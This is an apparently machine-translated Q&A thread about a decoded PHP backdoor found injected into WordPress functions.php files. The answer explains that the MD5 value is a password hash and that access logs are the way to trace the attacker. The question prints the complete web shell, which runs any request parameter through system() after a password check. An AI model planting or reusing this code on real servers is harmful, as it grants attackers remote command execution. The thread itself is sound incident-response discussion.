コンテキスト:2つの異なるサイトにあるサーバー上のすべてのfunctions.phpファイルに自分自身を注入するWordPress Webサイトサーバーにウイルスがありました。非常に難読化されたウイルスコードを削除した後、それをデコードしました。(プロセスの詳細に飽きることはありません。)結果のコードは、ハッカーが制御する特定の1つのURLからのみシステムレベルでコードを実行できる単純なバックドアでした。
<?php
$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;
$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);
exit;
?>
Md5ハッシュをデコードして、サーバーへのバックドアを使用していた悪意のあるWebサイトを知ることはできますか?
Md5ハッシュをデコードして、サーバーへのバックドアを使用していた悪意のあるWebサイトを知ることはできますか?
Md5ハッシュをデコードする(不)可能性については、例 ここ を参照してください。簡単に言うと、それが単純な場合は総当たりすることができ、複雑な場合は実行不可能になります。
ただし、ハッシュをデコードできる場合でも、必要な情報が含まれていません。つまり、誰がバックドアを使用しているかを知ることができます。代わりにこのハッシュはパスワードのハッシュであり、パスワード(パラメーターp
)が事前定義されたハッシュに適合しない場合、コードは実行されません。
$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;
代わりに実行するコマンドは、パラメーターs
内にあります。
$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);
しかし、これでも誰がバックドアを使用しているかはわかりませんが、攻撃者が何をしているかはわかりません。攻撃者に関する詳細情報を取得するには、実際にはサーバーのアクセスログを調べる必要があります。運が良ければ、次のようなパスでサイトへのリクエストを見つけることができます。
/compromised.php?p=<password>&s=<command>
このログからパスワードとコマンドを取得し、通常はURLにアクセスしたクライアントのIPアドレス、つまり攻撃者のパブリックIPアドレスも取得します。攻撃者が他のシステム(ボットネットなど)をジャンプホストとして使用したり、この悪意のあるアクションをURLとしてサイトに埋め込み、無邪気な訪問者から呼び出されたりする可能性があるため、これは攻撃者の実際のIPアドレスである必要はありません。 -この場合、攻撃者はコマンドの出力を取得することはほとんどありません。
リクエストパラメータはPOSTリクエスト内のパラメータとしても送信される可能性があることに注意してください。この場合、侵害されたPHPスクリプトへのアクセスのみが表示され、パラメータは表示されません。ログにはまだ送信元IPアドレスがあり、バックドアがいつ呼び出されたかがわかります。また、バックドアを解除して(つまり、system
への呼び出しを無効にして)、代わりにパラメータをログに記録して、攻撃者は引き続きバックドアを使用しようとします。